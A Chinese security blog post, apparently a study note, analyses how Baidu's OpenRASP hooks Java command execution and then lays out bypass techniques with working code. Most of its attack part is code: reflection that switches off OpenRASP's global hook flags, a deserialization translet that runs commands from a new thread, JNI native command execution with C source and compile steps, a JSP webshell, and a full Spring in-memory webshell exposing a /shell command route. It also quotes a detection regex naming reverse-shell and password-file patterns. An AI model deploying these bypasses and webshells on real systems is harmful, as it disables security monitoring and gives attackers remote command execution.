首先配置openrasp+springboot的环境
https://packages.baidu.com/app/openrasp/release/ windows下载rasp-java.zip
https://rasp.baidu.com/doc/install/manual/spring-boot.html 参考文档建立单机模式
springboot文件从此处下载 链接:https://pan.baidu.com/s/1SHB4LLLFl67SCKSxB1rQ0w 提取码:po1e
java -jar RaspInstall.jar -nodetect -install C:\Users\c'x'k\Desktop\rasp源码\springboot
java -javaagent:C:\Users\c'x'k\Desktop\rasp源码\springboot\rasp\rasp.jar -jar rasp-test-0.0.1-SNAPSHOT.jar
C:\Users\c'x'k\Desktop\rasp源码\springboot>java -javaagent:C:\Users\c'x'k\Desktop\rasp源码\springboot\rasp\rasp.jar rasp-test-0.0.1-SNAPSHOT.jar
运行即可
@GetMapping({"/hello4"})
public String hello4(HttpServletRequest httpServletRequest) throws Exception {
Object o = Class.forName("com.baidu.openrasp.HookHandler").newInstance();
Field field = o.getClass().getDeclaredField("enableHook");
Field modifiers = field.getClass().getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(field, field.getModifiers() & -17);
field.set(o, new AtomicBoolean(false));
Process process = Runtime.getRuntime().exec("ping baidu.com");
process.waitFor();
BufferedReader bufrIn = new BufferedReader(new InputStreamReader(process.getInputStream(), "UTF-8"));
BufferedReader bufrError = new BufferedReader(new InputStreamReader(process.getErrorStream(), "UTF-8"));
StringBuffer result = new StringBuffer();
while (true) {
String line = bufrIn.readLine();
if (line != null) {
result.append(line).append('\n');
}
}
while (true) {
String line2 = bufrError.readLine();
if (line2 != null) {
result.append(line2).append('\n');
} else {
System.out.println(result);
return "hello4";
}
}
}
}
果然是把所有的算法都改成block,http://127.0.0.1:8877/hello2访问这个,就会跳转到(之前没改的时候直接传就行了)
一开始没看懂现在懂了,在Hellocontroller中一共有四个路由,/hello1 、/hello2、/hello3、/hello4一共有四个这样的路由
只有 /hello1、/hello4可以命令执行,剩余两个被openrasp拦截掉了(那么就看看这里俩是如何绕过的)
一、/hello1
发现这里开启了一个新的线程
Checker的初始化(别问为什么从中间开始分析,问就是上面啥c、jsv8🤐真心看不懂)
遍历type类型,将检测类型以及对应的检测函数添加到checkers
这个EnumMap
当中
CustomClassTransformer
实例化CustomClassTransformer(inst)
将自身作为类转换器进行添加
并且上面调用了retransform
public void retransform() {
new LinkedList();
Class[] loadedClasses = this.inst.getAllLoadedClasses();
Class[] arr$ = loadedClasses;
int len$ = loadedClasses.length;
for(int i$ = 0; i$ < len$; ++i$) {
Class clazz = arr$[i$];
if (this.isClassMatched(clazz.getName().replace(".", "/")) && this.inst.isModifiableClass(clazz) && !clazz.getName().startsWith("java.lang.invoke.LambdaForm")) {//大致就是卡Lambda的
try {
this.inst.retransformClasses(new Class[]{clazz});
} catch (Throwable var8) {
LogTool.error(ErrorType.HOOK_ERROR, "failed to retransform class " + clazz.getName() + ": " + var8.getMessage(), var8);
}
}
}
}
因此之后当类加载的时候,会进入我们自己的 Transformer
中,执行 transform
函数进行拦截
Hook
感觉这里是重要的点,如何进行检测防御的
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain domain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (loader != null) {
DependencyFinder.addJarPath(domain);//这里jar包添加进启动类加载器
}
if (loader != null && jspClassLoaderNames.contains(loader.getClass().getName())) {
jspClassLoaderCache.put(className.replace("/", "."), new SoftReference(loader));
}
Iterator i$ = this.hooks.iterator();//迭代类
while(i$.hasNext()) {
AbstractClassHook hook = (AbstractClassHook)i$.next();
if (hook.isClassMatched(className)) {//这里就是遍历类的这个方法进行match
CtClass ctClass = null;
try {
ClassPool classPool = new ClassPool();
this.addLoader(classPool, loader);
ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));
if (loader == null) {
hook.setLoadedByBootstrapLoader(true);
}
classfileBuffer = hook.transformClass(ctClass);//!!!
if (classfileBuffer != null) {
this.checkNecessaryHookType(hook.getType());
}
} catch (IOException var13) {
var13.printStackTrace();
} finally {
if (ctClass != null) {
ctClass.detach();
}
}
}
}
this.serverDetector.detectServer(className, loader, domain);
return classfileBuffer;
}
遍历的类在哪里?在open.baidu.oprasp.hook
文件夹下的类
这里举一个例子(看命令执行 com.baidu.oprasp.hook.system.ProcessBuilderHook
)这个类
(之前看到一篇文章说openrasp低版本命令执行的检测方式是 到start,因此能用最底层绕过)
isClassMatched的规则
//简单概述就是 jdk高版本不是linux和windwos底层都在 ProcessImpl了嘛,下面就是 linux mac windows的不同罢了
//返回的都是true
public boolean isClassMatched(String className) {
if (ModuleLoader.isModularityJdk()) {
return "java/lang/ProcessImpl".equals(className);
} else if (!OSUtil.isLinux() && !OSUtil.isMacOS()) {
return OSUtil.isWindows() ? "java/lang/ProcessImpl".equals(className) : false;
} else {
return "java/lang/UNIXProcess".equals(className);
}
}
我们回到com.baidu.openrasp.transformer.CustomClassTransformer#transform
可以看到最终返回的字节码是受hook.transformClass
处理的,在这里还有个小细节就是如果loader
为null
,则会调用setloadedByBootstrapLoader设置为true(获取不到类加载器,说明是由启动类加载器加载的)
看transformClass方法
public byte[] transformClass(CtClass ctClass) {
try {
this.hookMethod(ctClass);
return ctClass.toBytecode();
} catch (Throwable var3) {
if (Config.getConfig().isDebugEnabled()) {
LOGGER.info("transform class " + ctClass.getName() + " failed", var3);
}
return null;
}
}
里面调用了hookMethod 方法
protected void hookMethod(CtClass ctClass) throws IOException, CannotCompileException, NotFoundException {
String src;
if (ctClass.getName().contains("ProcessImpl")) {
if (OSUtil.isWindows()) {
src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2", new Class[]{String[].class, String.class});
this.insertBefore(ctClass, "<init>", (String)null, src);
} else if (ModuleLoader.isModularityJdk()) {
src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2,$4", new Class[]{byte[].class, byte[].class, byte[].class});
this.insertBefore(ctClass, "<init>", (String)null, src);
}
} else if (ctClass.getName().contains("UNIXProcess")) {
src = this.getInvokeStaticSrc(ProcessBuilderHook.class, "checkCommand", "$1,$2,$4", new Class[]{byte[].class, byte[].class, byte[].class});
this.insertBefore(ctClass, "<init>", (String)null, src);
}
}
在getInvokeStaticSrc
方法中,如果这个值为true
在这里通过getInvokeStaticSrc这个方法生成具体插入的类,在这个方法当中可以看到,对于被BootStrap加载的类,它会通过com.baidu.openrasp.ModuleLoader.moduleClassLoader.loadClass去调用检查命令的checkCommand函数,这样就避免了由于双亲委派机制导致的ClassNotFoundException
public static void checkCommand(byte[] command, byte[] args, byte[] envBlock) {
if ((Boolean)HookHandler.enableCmdHook.get()) {
LinkedList<String> commands = new LinkedList();
//执行的命令
if (command != null && command.length > 0) {
commands.add(new String(command, 0, command.length - 1));
}
//执行的命令的参数
int index;
if (args != null && args.length > 0) {
int position = 0;
for(index = 0; index < args.length; ++index) {
if (args[index] == 0) {
commands.add(new String(Arrays.copyOfRange(args, position, index)));
position = index + 1;
}
}
}
//来自envp参数,通常为空,通常是自己设置的环境变量
LinkedList<String> envList = new LinkedList();
if (envBlock != null) {
index = -1;
for(int i = 0; i < envBlock.length; ++i) {
if (envBlock[i] == 0) {
String envItem = new String(envBlock, index + 1, i - index - 1);
if (envItem.length() > 0) {
envList.add(envItem);
}
index = i;
}
}
}
checkCommand((List)commands, (List)envList);
}
}
之后在讲命令和环境变量放到commands
与envList
当中并执行checkCommand((List)commands, (List)envList);
,这里会把执行的命令、环境变量、以及当前调用栈存放到params这个变量当中
会选择合适的checker去检查我们执行的东西
public static boolean check(Type type, CheckParameter parameter) {
return ((Checker)checkers.get(type)).check(parameter);
}
继续省略一堆废话,最终会调用到V8.check
,底层了我滚了
其实就是用js、C底层写了一个check机制,java负责hook
绕过技巧
基于正则的绕过
command_common: {
name: '算法3 - 识别常用渗透命令(探针)',
action: 'log',
pattern: 'cat.{1,5}/etc/passwd|nc.{1,30}-e.{1,100}/bin/(?:ba)?sh|bash\\s-.{0,4}i.{1,20}/dev/tcp/|subprocess.call\\(.{0,6}/bin/(?:ba)?sh|fsockopen\\(.{1,50}/bin/(?:ba)?sh|perl.{1,80}socket.{1,120}open.{1,80}exec\\(.{1,5}/bin/(?:ba)?sh'
},
cat能读多个文件
通过修改某些属性
通常如果存在反序列化漏洞,我们通常可以通过TemplatesImpl
去加载任意字节码,在这里如果对于在RASP执行检测过程当中如果存在某些关键配置我们可以操控,那么就可以导致绕过,而OpenRasp里面就有,比如在执行检测前中间的调用流程有个com.baidu.openrasp.HookHandler#doCheckWithoutRequest
,这里面提到了如果服务器的cpu使用率超过90%
,禁用全部hook点
又或者满足当云控注册成功之前,不进入任何hook点,反正这些我们不都是可以通过反射去设置的么,这里我就随便来一个,就以第一个为例子吧,我们可以通过反射获取这个已经实例化的实例,在这个基础上修改disableHooks
这个属性即可
try {
Class<?> clz = Thread.currentThread().getContextClassLoader().loadClass("com.baidu.openrasp.config.Config");
java.lang.reflect.Method getConfig = clz.getDeclaredMethod("getConfig");
java.lang.reflect.Field disableHooks = clz.getDeclaredField("disableHooks");
disableHooks.setAccessible(true);
Object ins = getConfig.invoke(null);
disableHooks.set(ins,true);
} catch (Exception e) {}
基于线程绕过
rasp会判断请求url是否为空来判断是否校验,判断条件需要一个环境上下文(请求线程)
我们只要开启一个新的线程,由子线程去调用Runtime.getRuntime.exec()
,Rasp判断并不是用户请求线程触发了hook函数,就会放行命令执行操作
这里会执行,因为实现了Runnable接口,就会弹计算器
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.IOException;
public class BypassRasp extends AbstractTranslet implements Runnable{
public BypassRasp(){
new Thread(this).start();
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
@Override
public void run() {
try {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c","gnome-calculator"} : new String[]{"cmd.exe", "/c", "calc"};
Runtime.getRuntime().exec(cmds);
}catch (IOException e){}
}
}
修改全局变量enableHook
假如存在反序列化漏洞,我们通常可以通过TemplatesImpl去加载任意字节码,那么就可以直接使用反射的方式,修改rasp的HookHandler类的变量enableHook设置为false,而这个变量是全局的开关,所以我们只需重新关闭这个开关就可以使rasp失效。实现全局绕过
Object o = Class.forName("com.baidu.openrasp.HookHandler").newInstance();
Field f = o.getClass().getDeclaredField("enableHook");
Field m = f.getClass().getDeclaredField("modifiers");
m.setAccessible(true);
m.setInt(f, f.getModifiers() & ~Modifier.FINAL);
f.set(o, new AtomicBoolean(false));
JNI绕过RASP
主要讲解下 Tomcat环境下部署
Tomcat环境下,需要以下限制条件:
- 固定包名格式为
org.apache.jsp
- java文件名称需要固定格式:
***_jsp
,并且后面的jsp文件名称需要同其保持一致。例如testtomcat_jsp.java
,那么最终jsp的文件名称需要命名为testtomcat.jsp
我们首先新建package为org.apache.jsp
,类名为testtomcat_jsp
的.java文件
package org.apache.jsp;
public class testtomcat_jsp
{
class JniClass
{
public native String exec( String string );
}
}
然后javac编译成class文件
javac testtomcat_jsp.java
命令执行后,生成文件testtomcat_jsp.class
和testtomcat_jsp$JniClass.class
然后
javah -jni org.apache.jsp.testtomcat_jsp$JniClass
生成文件 org_apache_jsp_testtomcat_jsp_JniClass.h
为了简化后续C++工程的配置,将 #include <jni.h>
修改为 #include "jni.h"
接下来编写命令执行的C语言代码JniClass.c:
#include "jni.h"
#include "org_apache_jsp_testtomcat_jsp_JniClass.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int execmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败
while (!feof(pipe))
{
if (fgets(buffer, 128, pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
_pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execmd(cstr, result))
{
// printf(result);
}
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();
return cmdresult;
}
使用gcc将该c源码编译为.dll或者.so
gcc -I "C:\Java\jdk1.8.0_231\include" -I "C:\Java\jdk1.8.0_231\include\win32" --shared JniClass.c -o 1.dll
最后在web目录下创建testtomcat.jsp,内容如下:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
class JniClass {
public native String exec(String string);
public JniClass() {
System.load("C:\\Users\\Desktop\\作业\\CTF学习\\上传文件\\jsp\\jni\\1.dll");
}
}
%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
JniClass a = new JniClass();
String res = a.exec(cmd);
out.println(res);
}
else{
response.sendError(404);
}
%>
简单看了看
但其实从安恒月赛我们就能发现不需要上传dll这些,只需要用内存马构建一个新的路由一个新的方法然后把dll加载进去即可
本地试一下,尝试写一个native方法,然后把dll加载进去
1. 定义一个native修饰的方法
2. 使用javah进行编译
3. 编写对应的c语言代码
4. 使用gcc编译成dll文件
5. 编写一个Java类使用System.loadLibrary方法,加载dll文件并且调用
gcc -I "C:\Program Files\Java\jdk1.8.0_65\include" - I "C:\Program Files\Java\jdk1.8.0_65\include\win32" -shared -o cmd.dll .\Command.c
linux编译
g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp
需要注意的是在jdk10+ JDK10移除了javah
,需要改为javac
加-h
参数的方式生产头文件
并且c文件是我们自己写的名字和java一致
#include "com_test_Command.h"
JNIEXPORT jint JNICALL Java_com_test_Command_sum
(JNIEnv *env, jobject obj, jint num1, jint num2){
return num1+num2;
}
void main(){}
踩坑点
System.loadLibrary("cmd"); //这个是只能读取到 windows环境变量设置的路径,tnnd卡了半天
System.load("K:\\javafile\\javatomcatrasp\\src\\main\\java\\cmd.dll"); //load就是自定义了
可以发现这样会依赖我们上传的dll这个文件,能否直接加载字节码的形式呢
首先生成对应的字节码,一次生成nice
生成base64字节码代码
public class JYcxk {
public static void main(String[] args) throws IOException {
Path path= Paths.get("K:\\javafile\\javatomcatrasp\\src\\main\\java\\cmd.dll");
byte[] bytes= Files.readAllBytes(path);
System.out.println(Base64.getEncoder().encodeToString(bytes));
}
}
Command.java
package com.test;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Vector;
public class Command {
public native int sum(int num1,int num2);
private static final String EVIL_JNI_BASE64 = "";//👴就不放在这里了,太长了,自己生成
private static final String LIB_PATH = "libcmd.dll";
static {
try {
byte[] jinBytes = Base64.getDecoder().decode(EVIL_JNI_BASE64);
RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw");
randomAccessFile.write(jinBytes);
randomAccessFile.close();
ClassLoader cmdLoader = Command.class.getClassLoader();
System.out.println(cmdLoader);
Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
load.setAccessible(true);
Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
field.setAccessible(true);
Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
nativeLibraryCons.setAccessible(true);
Object nativeLibraryObj = nativeLibraryCons.newInstance(Command.class, LIB_PATH, false);
libs.addElement(nativeLibraryObj);
field.set(cmdLoader, libs);
load.invoke(nativeLibraryObj, LIB_PATH, false);
}catch (Exception e){
e.printStackTrace();
}
}
}
注意,这里加载的dll文件,是com.test.Command的,别的类能不能用就母鸡了
上面代码的目的是——>//调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
尝试自己写
果然要我自己写第一步就给批了,load方法还是native的???
大概意思就是 给加载Command.class的类加载器,nativeLibraries addElement 加上NativeLibrary这个对象
然后 NativeLibrary这个对象反射调用load方法,load.invoke(nativeLibraryObj, LIB_PATH, false); 这个false没懂
(绝对或者相对路径soga)
放上springboot内存马
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Base64;
import java.util.Vector;
public class EvilClass extends AbstractTranslet {
public static native String execCmd(String cmd);
private static final String EVIL_JNI_BASE64 = "";//👴就不放在这里了,太长了,自己生成
private static final String LIB_PATH = "/tmp/libcmd.so";
static {
try{
byte[] jniBytes = Base64.getDecoder().decode(EVIL_JNI_BASE64);
RandomAccessFile randomAccessFile = new RandomAccessFile(LIB_PATH, "rw");
randomAccessFile.write(jniBytes);
randomAccessFile.close();
//调用java.lang.ClassLoader$NativeLibrary类的load方法加载动态链接库
ClassLoader cmdLoader = EvilClass.class.getClassLoader();
Class<?> classLoaderClazz = Class.forName("java.lang.ClassLoader");
Class<?> nativeLibraryClazz = Class.forName("java.lang.ClassLoader$NativeLibrary");
Method load = nativeLibraryClazz.getDeclaredMethod("load", String.class, boolean.class);
load.setAccessible(true);
Field field = classLoaderClazz.getDeclaredField("nativeLibraries");
field.setAccessible(true);
Vector<Object> libs = (Vector<Object>) field.get(cmdLoader);
Constructor<?> nativeLibraryCons = nativeLibraryClazz.getDeclaredConstructor(Class.class, String.class, boolean.class);
nativeLibraryCons.setAccessible(true);
Object nativeLibraryObj = nativeLibraryCons.newInstance(EvilClass.class, LIB_PATH, false);
libs.addElement(nativeLibraryObj);
field.set(cmdLoader, libs);
load.invoke(nativeLibraryObj, LIB_PATH, false);
//写入内存马
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = EvilClass.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
EvilClass springControllerMemShell = new EvilClass();
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
}catch (Exception e){
e.printStackTrace();
}
}
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
String cmd = request.getParameter("cmd");
if (cmd != null) {
String execRes = EvilClass.execCmd(cmd);
response.getWriter().write(execRes);
response.getWriter().flush();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
那这不就能完成通杀技巧了嘛,不对,还需有写的权限但写到/tmp文件下不知权限要多大呢???
命令执行jni
啥时候用直接照搬即可
package com.test;
public class Command {
public native String exec(String cmd);
}
com_test_Command.h
/* DO NOT EDIT THIS FILE - it is machine generated */
#include <jni.h>
/* Header for class com_test_Command */
#ifndef _Included_com_test_Command
#define _Included_com_test_Command
#ifdef __cplusplus
extern "C" {
#endif
JNIEXPORT jstring JNICALL Java_com_test_Command_exec
(JNIEnv *, jobject, jstring);
#ifdef __cplusplus
}
#endif
#endif
Command.c
#include "com_test_Command.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int execmd(const char *cmd, char *result)
{
char buffer[1024*12]; //定义缓冲区
FILE *pipe = _popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败
while (!feof(pipe))
{
if (fgets(buffer, 128, pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
_pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}
JNIEXPORT jstring JNICALL Java_com_test_Command_exec(JNIEnv *env, jobject class_object, jstring jstr)
{
const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = ""; //定义存放结果的字符串数组
if (1 == execmd(cstr, result))
{
// printf(result);
}
char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();
return cmdresult;
}
g++ -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so com_anbai_sec_cmd_CommandExecution.cpp linux
gcc -I "D:\JAVA_JDK\include" -I "D:\JAVA_JDK\include\win32" -shared -o cmd.dll .\Command.c windows
本作品采用CC BY-NC-ND 4.0进行许可。转载,请注明原作者 Azeril 及本文源链接。